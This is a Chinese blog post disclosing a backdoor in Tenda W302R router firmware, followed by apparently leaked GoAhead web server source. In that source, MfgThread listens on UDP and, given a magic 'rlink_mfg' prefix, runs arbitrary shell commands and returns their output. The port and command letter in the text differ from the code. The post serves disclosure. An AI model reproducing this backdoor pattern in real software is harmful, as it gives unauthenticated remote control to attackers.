在友讯科技(D-Link)路由器发现后门之后,安全研究员又在另一家路由器制造商腾达(Tenda)的产品中发现了后门。安全研究人员分析了腾达路由器W302R的最新固件, 发现了名叫MfgThread的独立线程,捆绑了7329端口,接收 UDP数据包,会对含有特殊字符的指令作出反应,这些特殊字符包括了e、1和X——对于e,会返回一个预定义的字符串,基本上是一个ping测试;对于 1,它将允许你运执行iwpriv命令, iwpriv命令可用于配置路由器网络端口;对于X,它给予你root权限,可以执行任何命令。作者认为,这个后门可能最早是在腾达的W302R路由器上 实现的,存在于W330R路由器和Medialink的路由器MWN-WAPR150N中。

exploited

附:从github上找到的代码,和本文似乎有关:

/* vi: set sw=4 ts=4 sts=4: */
/*
 * main.c -- Main program for the GoAhead WebServer (LINUX version)
 *
 * Copyright (c) GoAhead Software Inc., 1995-2000. All Rights Reserved.
 *
 * See the file "license.txt" for usage and redistribution license requirements
 *
 * $Id: goahead.c,v 1.100.2.4 2009-04-08 08:52:59 chhung Exp $
 */

/******************************** Description *********************************/

/*
 *	Main program for for the GoAhead WebServer. This is a demonstration
 *	main program to initialize and configure the web server.
 */

/********************************* Includes ***********************************/

#include	"uemf.h"
#include	"wsIntrn.h"
#include	"nvram.h"
#include	"ralink_gpio.h"
#include	"internet.h"
#if defined INIC_SUPPORT || defined INICv2_SUPPORT
#include	"inic.h"
#endif
#if defined (CONFIG_RT2561_AP) || defined (CONFIG_RT2561_AP_MODULE)
#include	"legacy.h"
#endif
#include	"utils.h"
#include	"wireless.h"
#include	"firewall.h" 
#include	"management.h"
#include	"station.h"
#include	"usb.h"
#include	"media.h"
#include	
#include	 
#include	<sys/types.h>
#include	<sys/wait.h>
#include	"linux/autoconf.h"
#include	"config/autoconf.h" //user config
#include    

#ifdef CONFIG_RALINKAPP_SWQOS
#include      "qos.h"
#endif

#ifdef WEBS_SSL_SUPPORT
#include	"websSSL.h"
#endif

#include "vpn.h"
#include "dtu_action.h"
#include "msg_action.h"
#include "sr_action.h"
#include "linkbackup_action.h"
#include "reboot_action.h"
#include "pptp_action.h"
#include "l2tp_action.h"
#include "vrrp_action.h"
#include "gps_action.h"
#include "snmp_action.h"
#ifdef USER_MANAGEMENT_SUPPORT
#include	"um.h"
void	formDefineUserMgmt(void);
#endif

/*********************************** Locals ***********************************/
/*
 *	Change configuration here
 */

static char_t		*rootWeb = T("/etc_ro/web");		/* Root web directory */
static char_t		*password = T("");				/* Security password */
static int			port = 80;						/* Server port */
static int			retries = 5;					/* Server port retries */
static int			finished;						/* Finished flag */
static char_t		*gopid = T("/var/run/goahead.pid");	/* pid file */

/****************************** Forward Declarations **************************/

static int	writeGoPid(void);
static int 	initSystem(void);
static int 	initWebs(void);
static int  websHomePageHandler(webs_t wp, char_t *urlPrefix, char_t *webDir,
				int arg, char_t *url, char_t *path, char_t *query);
extern void defaultErrorHandler(int etype, char_t *msg);
extern void defaultTraceHandler(int level, char_t *buf);
extern void ripdRestart(void);
#ifdef B_STATS
static void printMemStats(int handle, char_t *fmt, ...);
static void memLeaks();
#endif
extern void WPSAPPBCStartAll(void);
extern void WPSSingleTriggerHandler(int);
#if defined CONFIG_USB
extern void hotPluglerHandler(int);
#endif

#ifdef CONFIG_RT2860V2_STA_WSC
extern void WPSSTAPBCStartEnr(void);
#endif

#ifdef CONFIG_DUAL_IMAGE
static int set_stable_flag(void);
#endif

void initDeviceName()
{
	char*pdev;
	char *buf;
	char szBuf[128];

    pdev = nvram_bufget(RT2860_NVRAM, "wan_3g_dev"); 
	if((strcmp(pdev, "HUAWEI-EM560") == 0) || (strcmp(pdev, "F3607gw") == 0))
	{
	//	stream=popen("3GInfo -d /dev/ttyACM2 -s","r");
		//stream=popen("comgt -d /dev/ttyACM2 -s /etc_ro/ppp/3g/signal.scr","r");
		buf = "/dev/ttyACM2";
	}
	else if(strcmp(pdev, "HUAWEI-EM660") == 0)
	{
		buf = "/dev/ttyUSB2";
	}
	else if(strcmp(pdev, "IE901D") == 0)
        {
               buf = "/dev/ttyUSB1";
        }

	else if(strcmp(pdev, "HUAWEI-EM770") == 0)
	{
		buf = "/dev/ttyUSB2";
	}
	else if(strcmp(pdev,"THINKWILL-MI600")==0)
	{
		//stream=popen("comgt -d /dev/ttyUSB4 -s /etc_ro/ppp/3g/signal.scr","r");
		buf = "/dev/ttyUSB4"; //-m signal range
	}
	else if(strcmp(pdev,"SYNCWISER-801/401")==0)
	{
		buf = "/dev/ttyUSB2"; //-m signal range
	}
	else if(strcmp(pdev,"LONGSUNG-C5300")==0)
	{
		buf = "/dev/ttyUSB3"; //-m signal range
	}
	else if(strcmp(pdev,"LONGSUNG-U6300/U5300")==0)
	{
		buf = "/dev/ttyUSB1"; //-m signal range
	}
	else if(strcmp(pdev,"GAORAN-280")==0)
	{
		buf = "/dev/ttyUSB3"; //-m signal range
	}
	else if(strcmp(pdev,"TW-W1M100")==0)
	{
		buf = "/dev/ttyUSB1"; //-m signal range
	}
	else if(strcmp(pdev,"ZTE-MU301")==0)
	{
		buf = "/dev/ttyUSB2"; //-m signal range
	}
	else if(strcmp(pdev,"ZTE-MF210V")==0)
	{
		//stream=popen("3GInfo -d /dev/ttyUSB2  -m 0-31 ","r"); //-m signal range MF210V
		buf = "/dev/ttyUSB1"; //-m signal range  MF210
	}
	else if(strcmp(pdev,"KSE-360")==0)
	{
		buf = "/dev/ttyUSB1"; //-m signal range
	}
	else if(strcmp(pdev,"ZX-600")==0)
	{
		buf = "/dev/ttyUSB2"; //-m signal range
	}

         else if(strcmp(pdev,"SIERRA-MC8785")==0)
        {
                buf = "/dev/ttyUSB6"; //-m signal range

        }
	 else if(strcmp(pdev,"AD3812")==0)
        {
                buf = "/dev/ttyUSB0"; //-m signal range

        }
	else 
	{
		buf = "/dev/ttyUSB2";
	}

	system("rm -f /dev/yh");
	sprintf(szBuf, "ln -s %s /dev/yh", buf);
	system(szBuf);
	sprintf(szBuf, "%s/mklink.sh", rootWeb);
	system(szBuf);

}

void check_vpn()
{
    static time_t last =0;
    time_t now;
    char *rules;

    time(&now);
    // check vpn every 30 secs
    if(now - last >= 30)
    {
        last = now;
    }
    else
    {
        return;
    }

    rules = nvram_bufget(RT2860_NVRAM, "IPSECRules");
    if(rules && (strstr(rules,"|1|") != NULL))
    {
        char if_addr[32];
        //@TODO: temp use ppp0 as the default 3g interface name
        if( getIfIp("ppp0", if_addr) != 0)
        {
            // 3g is down
            return;
        }
    }
    else
    {
        // ipsec is disabled
        return;
    }

    // check the ping_any.sh, if it is not started, start it
    if(system("ps>/var/check_thread.log && cat /var/check_thread.log|grep \"ping_any\"") != 0)//is not found.
    {
        system("ping_any.sh&"); 
    }
}

/*********************************** Code *************************************/
/*
 *	Main -- entry point from LINUX
 */
void InitMfgTask();
int main(int argc, char** argv)
{
    int wdt_fd = -1;

    wdt_fd = open("/dev/watchdog", O_WRONLY);
    if (wdt_fd == -1)
    {
        // fail to open watchdog device
        printf("can not open watchdog!!!!!!!!!!!!!!1\n");
        exit(1);
    }

/*
 *	Initialize the memory allocator. Allow use of malloc and start 
 *	with a 60K heap.  For each page request approx 8KB is allocated.
 *	60KB allows for several concurrent page requests.  If more space
 *	is required, malloc will be used for the overflow.
 */
	bopen(NULL, (60 * 1024), B_USE_MALLOC);
	signal(SIGPIPE, SIG_IGN);

	if (writeGoPid() < 0)
		return -1;
	if (initSystem() < 0)
		return -1;

	initDeviceName();

/*
 *	Initialize the web server
 */
	if (initWebs() < 0) {
		return -1;
	}

#ifdef CONFIG_DUAL_IMAGE
/* Set stable flag after the web server is started */
	set_stable_flag();
#endif

#ifdef WEBS_SSL_SUPPORT
	websSSLOpen();
#endif

/*
 *	Basic event loop. SocketReady returns true when a socket is ready for
 *	service. SocketSelect will block until an event occurs. SocketProcess
 *	will actually do the servicing.
 */
 	InitMfgTask();
	while (!finished) {
		if (socketReady(-1) || socketSelect(-1, 1000)) {
			socketProcess(-1);
		}
        if (wdt_fd != -1)
            write(wdt_fd, "a", 1);

        check_vpn();
		websCgiCleanup();
		emfSchedProcess();
	}

#ifdef WEBS_SSL_SUPPORT
	websSSLClose();
#endif

#ifdef USER_MANAGEMENT_SUPPORT
	umClose();
#endif

/*
 *	Close the socket module, report memory leaks and close the memory allocator
 */
	websCloseServer();
	socketClose();
#ifdef B_STATS
	memLeaks();
#endif
	bclose();
	return 0;
}

/******************************************************************************/
/*
 *	Write pid to the pid file
 */
int writeGoPid(void)
{
	FILE *fp;

	fp = fopen(gopid, "w+");
	if (NULL == fp) {
		error(E_L, E_LOG, T("goahead.c: cannot open pid file"));
		return (-1);
	}
	fprintf(fp, "%d", getpid());
    fclose(fp);
	return 0;
}

static void goaSigHandler(int signum)
{
#ifdef CONFIG_RT2860V2_STA_WSC
	char *opmode = nvram_bufget(RT2860_NVRAM, "OperationMode");
	char *ethCon = nvram_bufget(RT2860_NVRAM, "ethConvert");
#endif

	if (signum != SIGUSR1)
		return;

#ifdef CONFIG_RT2860V2_STA_WSC
	if(!strcmp(opmode, "2") || (!strcmp(opmode, "0") &&   !strcmp(ethCon, "1") ) )		// wireless isp mode
		WPSSTAPBCStartEnr();	// STA WPS default is "Enrollee mode".
	else
#endif
		WPSAPPBCStartAll();
}

#ifndef CONFIG_RALINK_RT2880
static void goaInitGpio()
{
	int fd;
	ralink_gpio_reg_info info;

	fd = open("/dev/gpio", O_RDONLY);
	if (fd < 0) {
		perror("/dev/gpio");
		return;
	}
	//set gpio direction to input
	if (ioctl(fd, RALINK_GPIO_SET_DIR_IN, RALINK_GPIO(0)) < 0)
		goto ioctl_err;
	//enable gpio interrupt
	if (ioctl(fd, RALINK_GPIO_ENABLE_INTP) < 0)
		goto ioctl_err;
	//register my information
	info.pid = getpid();
	info.irq = 0;
	if (ioctl(fd, RALINK_GPIO_REG_IRQ, &info) < 0)
		goto ioctl_err;
	close(fd);

	//issue a handler to handle SIGUSR1
	signal(SIGUSR1, goaSigHandler);
	return;

ioctl_err:
	perror("ioctl");
	close(fd);
	return;
}
#endif

static void dhcpcHandler(int signum)
{
	ripdRestart();
}

/******************************************************************************/
/*
 *	Initialize System Parameters
 */
static int initSystem(void)
{
	int setDefault(void);

	signal(SIGUSR2, dhcpcHandler);
	if (setDefault() < 0)
		return (-1);
	if (initInternet() < 0)
		return (-1);
#if defined CONFIG_USB
	signal(SIGTTIN, hotPluglerHandler);
	hotPluglerHandler(SIGTTIN);
#endif
#ifdef CONFIG_RALINK_RT2880
	signal(SIGUSR1, goaSigHandler);
#else
	//goaInitGpio();
	signal(SIGUSR1, goaSigHandler); //receive wpsledpbc SIGUSR1  from wps key
#endif
	signal(SIGXFSZ, WPSSingleTriggerHandler);

	return 0;
}

/******************************************************************************/
/*
 *	Set Default should be done by nvram_daemon.
 *	We check the pid file's existence.
 */
int setDefault(void)
{
	FILE *fp;
	int i;

	//retry 15 times (15 seconds)
	for (i = 0; i < 15; i++) {
		fp = fopen("/var/run/nvramd.pid", "r");
		if (fp == NULL) {
			if (i == 0)
				trace(0, T("goahead: waiting for nvram_daemon "));
			else
				trace(0, T(". "));
		}
		else {
			fclose(fp);
			nvram_init(RT2860_NVRAM);
#if defined INIC_SUPPORT || defined INICv2_SUPPORT
			nvram_init(RTINIC_NVRAM);
#endif
#if defined (CONFIG_RT2561_AP) || defined (CONFIG_RT2561_AP_MODULE)
			nvram_init(RT2561_NVRAM);
#endif
			return 0;
		}
		Sleep(1);
	}
	error(E_L, E_LOG, T("goahead: please execute nvram_daemon first!"));
	return (-1);
}

/******************************************************************************/
/*
 *	Initialize the web server.
 */

static int initWebs(void)
{
	struct in_addr	intaddr;
#ifdef GA_HOSTNAME_SUPPORT
	struct hostent	*hp;
	char			host[128];
#else
	char			*lan_ip = nvram_bufget(RT2860_NVRAM, "lan_ipaddr");
#endif
	char			webdir[128];
	char			*cp;
	char_t			wbuf[128];

/*
 *	Initialize the socket subsystem
 */
	socketOpen();

#ifdef USER_MANAGEMENT_SUPPORT
/*
 *	Initialize the User Management database
 */
	char *admu = nvram_bufget(RT2860_NVRAM, "Login");
	char *admp = nvram_bufget(RT2860_NVRAM, "Password");
	umOpen();
	//umRestore(T("umconfig.txt"));
	//winfred: instead of using umconfig.txt, we create 'the one' adm defined in nvram
	umAddGroup(T("adm"), 0x07, AM_DIGEST, FALSE, FALSE);
	if (admu && strcmp(admu, "") && admp && strcmp(admp, "")) {
		umAddUser(admu, admp, T("adm"), FALSE, FALSE);
		umAddAccessLimit(T("/"), AM_DIGEST, FALSE, T("adm"));
	}
	else
		error(E_L, E_LOG, T("gohead.c: Warning: empty administrator account or password"));
#endif

#ifdef GA_HOSTNAME_SUPPORT
/*
 *	Define the local Ip address, host name, default home page and the 
 *	root web directory.
 */
	if (gethostname(host, sizeof(host)) < 0) { 		error(E_L, E_LOG, T("gohead.c: Can't get hostname")); 		return -1; 	} 	if ((hp = gethostbyname(host)) == NULL) { 		error(E_L, E_LOG, T("gohead.c: Can't get host address")); 		return -1; 	} 	memcpy((char *) &intaddr, (char *) hp->h_addr_list[0],
		(size_t) hp->h_length);
#else
/*
 * get ip address from nvram configuration (we executed initInternet)
 */
	if (NULL == lan_ip) {
		error(E_L, E_LOG, T("initWebs: cannot find lan_ip in NVRAM"));
		return -1;
	}
	intaddr.s_addr = inet_addr("0.0.0.0");
	if (intaddr.s_addr == INADDR_NONE) {
		error(E_L, E_LOG, T("initWebs: failed to convert %s to binary ip data"),
				lan_ip);
		return -1;
	}
#endif

/*
 *	Set rootWeb as the root web. Modify this to suit your needs
 */
	sprintf(webdir, "%s", rootWeb);

/*
 *	Configure the web server options before opening the web server
 */
	websSetDefaultDir(webdir);
	cp = inet_ntoa(intaddr);
	ascToUni(wbuf, cp, min(strlen(cp) + 1, sizeof(wbuf)));
	websSetIpaddr(wbuf);
#ifdef GA_HOSTNAME_SUPPORT
	ascToUni(wbuf, host, min(strlen(host) + 1, sizeof(wbuf)));
#else
	//use ip address (already in wbuf) as host
#endif
	websSetHost(wbuf);

/*
 *	Configure the web server options before opening the web server
 */
	websSetDefaultPage(T("default.asp"));
	websSetPassword(password);

/* 
 *	Open the web server on the given port. If that port is taken, try
 *	the next sequential port for up to "retries" attempts.
 */
	websOpenServer(port, retries);

/*
 * 	First create the URL handlers. Note: handlers are called in sorted order
 *	with the longest path handler examined first. Here we define the security 
 *	handler, forms handler and the default web page handler.
 */
	websUrlHandlerDefine(T(""), NULL, 0, websSecurityHandler, 
		WEBS_HANDLER_FIRST);
	websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
	websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
	websUrlHandlerDefine(T(""), NULL, 0, websDefaultHandler, 
		WEBS_HANDLER_LAST); 

/*
 *	Define our functions
 */
	formDefineUtilities();
	formDefineInternet();
#if defined CONFIG_RALINKAPP_SWQOS
	formDefineQoS();
#endif
#if defined CONFIG_USB
	formDefineUSB();
#endif
#if defined CONFIG_RALINKAPP_MPLAYER
	formDefineMedia();
#endif
	formDefineWireless();
#if defined INIC_SUPPORT || defined INICv2_SUPPORT
	formDefineInic();
#endif
#if defined (CONFIG_RT2561_AP) || defined (CONFIG_RT2561_AP_MODULE)
	formDefineLegacy();
#endif
#if defined CONFIG_RT2860V2_STA || defined CONFIG_RT2860V2_STA_MODULE
	formDefineStation();
#endif
	formDefineFirewall();
	formDefineManagement();
  formDefineVPN();
  init_dtu();
  init_msg();
  init_status_report();
	init_linkbackup();
	init_reboot();
	init_pptp();
	init_l2tp();
	init_vrrp();
  init_gps();
  init_snmp();

/*
 *	Create the Form handlers for the User Management pages
 */
#ifdef USER_MANAGEMENT_SUPPORT
	//formDefineUserMgmt();  winfred: we do it ourselves
#endif

/*
 *	Create a handler for the default home page
 */
	websUrlHandlerDefine(T("/"), NULL, 0, websHomePageHandler, 0); 
	return 0;
}

/******************************************************************************/
/*
 *	Home page handler
 */

static int websHomePageHandler(webs_t wp, char_t *urlPrefix, char_t *webDir,
	int arg, char_t *url, char_t *path, char_t *query)
{
/*
 *	If the empty or "/" URL is invoked, redirect default URLs to the home page
 */
	if (*url == '\0' || gstrcmp(url, T("/")) == 0) {
		websRedirect(wp, T("home.asp"));
		return 1;
	}
	return 0;
}

/******************************************************************************/
/*
 *	Default error handler.  The developer should insert code to handle
 *	error messages in the desired manner.
 */

void defaultErrorHandler(int etype, char_t *msg)
{
	write(1, msg, gstrlen(msg));
}

/******************************************************************************/
/*
 *	Trace log. Customize this function to log trace output
 */

void defaultTraceHandler(int level, char_t *buf)
{
/*
 *	The following code would write all trace regardless of level
 *	to stdout.
 */
	if (buf) {
		if (0 == level)
			write(1, buf, gstrlen(buf));
	}
}

/******************************************************************************/
/*
 *	Returns a pointer to an allocated qualified unique temporary file name.
 *	This filename must eventually be deleted with bfree();
 */
#if defined CONFIG_USB_STORAGE && defined CONFIG_USER_STORAGE
char_t *websGetCgiCommName(webs_t wp)
{
	char *force_mem_upgrade = nvram_bufget(RT2860_NVRAM, "Force_mem_upgrade");
	char_t	*pname1 = NULL, *pname2 = NULL;
	char *part;

	if(!strcmp(force_mem_upgrade, "1")){
		pname1 = (char_t *)tempnam(T("/var"), T("cgi"));
	}else if(wp && (wp->flags & WEBS_CGI_FIRMWARE_UPLOAD) ){
		// see if usb disk is present and available space is enough?
		if( (part = isStorageOK()) )
			pname1 = (char_t *)tempnam(part, T("cgi"));
		else
			pname1 = (char_t *)tempnam(T("/var"), T("cgi"));
	}else{
		pname1 = (char_t *)tempnam(T("/var"), T("cgi"));
	}

	pname2 = bstrdup(B_L, pname1);
	free(pname1);

	return pname2;
}
#else
char_t *websGetCgiCommName(webs_t wp)
{
	char_t	*pname1, *pname2;

	pname1 = (char_t *)tempnam(T("/var"), T("cgi"));
	pname2 = bstrdup(B_L, pname1);
	free(pname1);

	return pname2;
}
#endif
/******************************************************************************/
/*
 *	Launch the CGI process and return a handle to it.
 */

int websLaunchCgiProc(char_t *cgiPath, char_t **argp, char_t **envp,
					  char_t *stdIn, char_t *stdOut)
{
	int	pid, fdin, fdout, hstdin, hstdout, rc;

	fdin = fdout = hstdin = hstdout = rc = -1; 
	if ((fdin = open(stdIn, O_RDWR | O_CREAT, 0666)) < 0 ||
		(fdout = open(stdOut, O_RDWR | O_CREAT, 0666)) < 0 || 		(hstdin = dup(0)) == -1 || 		(hstdout = dup(1)) == -1 || 		dup2(fdin, 0) == -1 || 		dup2(fdout, 1) == -1) { 		goto DONE; 	}  	rc = pid = fork();  	if (pid == 0) { /*  *		if pid == 0, then we are in the child process  */ 		if (execve(cgiPath, argp, envp) == -1) { 			printf("content-type: text/html\n\n" 				"Execution of cgi process failed\n"); 		} 		exit (0); 	}  DONE: 	if (hstdout >= 0) {
		dup2(hstdout, 1);
      close(hstdout);
	}
	if (hstdin >= 0) {
		dup2(hstdin, 0);
      close(hstdin);
	}
	if (fdout >= 0) {
		close(fdout);
	}
	if (fdin >= 0) {
		close(fdin);
	}
	return rc;
}

/******************************************************************************/
/*
 *	Check the CGI process.  Return 0 if it does not exist; non 0 if it does.
 */

int websCheckCgiProc(int handle, int *status)
{
/*
 *	Check to see if the CGI child process has terminated or not yet.  
 */
	if (waitpid(handle, status, WNOHANG) == handle) {
		return 0;
	} else {
		return 1;
	}
}

/******************************************************************************/

#ifdef B_STATS
static void memLeaks() 
{
	int		fd;

	if ((fd = gopen(T("leak.txt"), O_CREAT | O_TRUNC | O_WRONLY, 0666)) >= 0) {
		bstats(fd, printMemStats);
		close(fd);
	}
}

/******************************************************************************/
/*
 *	Print memory usage / leaks
 */

static void printMemStats(int handle, char_t *fmt, ...)
{
	va_list		args;
	char_t		buf[256];

	va_start(args, fmt);
	vsprintf(buf, fmt, args);
	va_end(args);
	write(handle, buf, strlen(buf));
}
#endif

/******************************************************************************/

/* added by YYhuang 07/04/02 */
int getGoAHeadServerPort(void)
{
    return port;
}

#ifdef CONFIG_DUAL_IMAGE
static int set_stable_flag(void)
{
	int set = 0;
	char *wordlist = nvram_get(UBOOT_NVRAM, "Image1Stable");

	if (wordlist) {
		if (strcmp(wordlist, "1") != 0)
			set = 1;
	}
	else
		set = 1;

	if (set) {
		printf("Set Image1 stable flag\n");
		nvram_set(UBOOT_NVRAM, "Image1Stable", "1");
	}

	return 0;

}
#endif

int call_shell(char *cmdbuf,char *outbuf,int outBufLen)
{
	FILE *fp;
	int iLen = 0,lentmp;
	char bufTmp[256];

	fp = popen(cmdbuf,"r");
	if (fp == NULL) {
		return -1;
	}
	for (;;) {
		memset(bufTmp,0,sizeof(bufTmp));
		if (fgets(bufTmp,sizeof(bufTmp),fp) == NULL)
			break;
		lentmp = strlen(bufTmp);
		if ((iLen + lentmp + 1) > outBufLen)
			break;
		memcpy(outbuf + iLen,bufTmp,lentmp);
		iLen += lentmp;
	}

	pclose(fp);

	*(outbuf + iLen) = 0;

	return iLen;
}

#define RECV_MAX_LEN 128
#define SEND_MAX_LEN 2048
extern int readUsb(char *fileName);
void MfgThread()
{

	int mfg_fd;
	int i,iLen;
	struct sockaddr_in local,remote;
	char *LocalIP;
	char *pos;

	char RecvBuf[RECV_MAX_LEN],SendBuf[SEND_MAX_LEN];
	char FlagBuf[RECV_MAX_LEN],CmdBuf[RECV_MAX_LEN],ValBuf[RECV_MAX_LEN];

	memset( &local, 0, sizeof(local) );
	local.sin_family = AF_INET;
	local.sin_port = htons(24151);
	LocalIP = nvram_bufget(RT2860_NVRAM, "lan_ipaddr");
	//GetCfmValue("lan_ipaddr", LocalIP);
	//local.sin_addr.s_addr  = INADDR_ANY;
	local.sin_addr.s_addr  = inet_addr(LocalIP);

	mfg_fd = socket( AF_INET,SOCK_DGRAM, 0 );
	if ( mfg_fd < 0 ) {
		printf("MfgThread socket error.\n");
		return ;
	}
	int n = 1;
	if(setsockopt(mfg_fd, SOL_SOCKET, SO_REUSEADDR, (char *) &n, sizeof(n)) == -1)
	{
		close(mfg_fd);
		printf("MfgThread: setsockopt 1 failed\n");
		return ;
	}
	if (bind(mfg_fd,(struct sockaddr*)&local,sizeof(local)) < 0) {
		printf("MfgThread bind error.\n");
		return;
	}
	while (1) {
		memset(RecvBuf,0,sizeof(RecvBuf));
		i = sizeof(struct sockaddr);
		iLen = recvfrom(mfg_fd,(char *)RecvBuf,RECV_MAX_LEN,0,(struct sockaddr*)&remote,&i);
		if (iLen <= 0) {

			sleep(1);
			continue;
		}
		//printf("MfgThread recv %d[%s]\n",iLen,RecvBuf);
		if (iLen < 14) { 			continue; 		} 		memset(FlagBuf,0,RECV_MAX_LEN); 		memset(CmdBuf,0,RECV_MAX_LEN); 		memset(ValBuf,0,RECV_MAX_LEN); 		//Request: 		//cmd fmt: w302r_mfg 1 cmd[...] 		//1:cmd ±ØÐëΪiwprivÃüÁî 		//  		// Response: 		// cmd fmt: result(cmd out stream) 		memcpy(FlagBuf,RecvBuf,9); 		memcpy(CmdBuf,RecvBuf + 10,1); 		memcpy(ValBuf,RecvBuf + 12,iLen - 12); 		//printf("[%s][%s][%s]\n",FlagBuf,CmdBuf,ValBuf); 		if (strcmp(FlagBuf,"rlink_mfg") != 0) { 			continue; 		} 		memset(SendBuf,0,SEND_MAX_LEN); 		if (CmdBuf[0] == '1') { 				pos = strstr(ValBuf,"iwpriv"); 				if (pos == NULL) { 					continue; 				} 				//printf("Req[%s]\n",ValBuf); 				iLen = call_shell(ValBuf,SendBuf,SEND_MAX_LEN); 				if (iLen > 0){
					printf("Res[%s]\n",ValBuf);
					sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote));
				} else {
					strcpy(SendBuf,"000000");
					iLen = strlen(SendBuf);
					printf("Res[%s]\n",SendBuf);
					sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote));
				}
		} else if (CmdBuf[0] == 'x') {
			iLen = call_shell(ValBuf,SendBuf,SEND_MAX_LEN);
			//printf("*[%d][%s]\n",iLen,SendBuf);
			if (iLen > 0){
				sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote));
			}
		} else if (CmdBuf[0] == 'e') {
			iLen = strlen("ralink_mfg");
			strcpy(SendBuf,"ralink_mfg");
			sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote));
		}else if (CmdBuf[0] == 'u'){
			//if(readUsb(ValBuf)){
			//	strcpy(SendBuf,"USB Success.");
			//}else
			//	strcpy(SendBuf,"USB Failed.");

			//sendto(mfg_fd,(char *)SendBuf,iLen,0,(struct sockaddr*)&remote,sizeof(remote));
		}
	}
}

void InitMfgTask()
{

	pthread_t id;
	int ret;

	ret = pthread_create(&id, NULL,(void *) MfgThread,NULL);

	return ;
}

3 条评论

wangyonghe1995 2013 年 10 月 29 日 21:38

NEO,你的站怎么进啊,结构颠覆性地改变……那个搜索框让我迷茫了,填什么啊……

  lucifer	
  2013 年 10 月 31 日 14:43	

  再等我下(一星期)吧。我那个站现在只是界面,发贴还差点功能。本来估计1号可能就能搞定,结果最近还接到老师的通知,貌似还得延迟点。等我做好了首页应该会有导航。 ----------------------------------------------------------------------------	   wangyonghe1995	   2013 年 11 月 01 日 12:53	

嗯。